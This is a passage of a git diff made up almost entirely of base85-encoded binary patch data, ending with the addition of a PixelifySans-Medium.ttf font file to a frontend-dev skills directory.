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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/PixelifySans-Medium.ttf b/skills/frontend-dev/canvas-fonts/PixelifySans-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..95cd372534b533c9cb7ce35b782f0623ecb4de00 GIT binary patch literal 51072 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 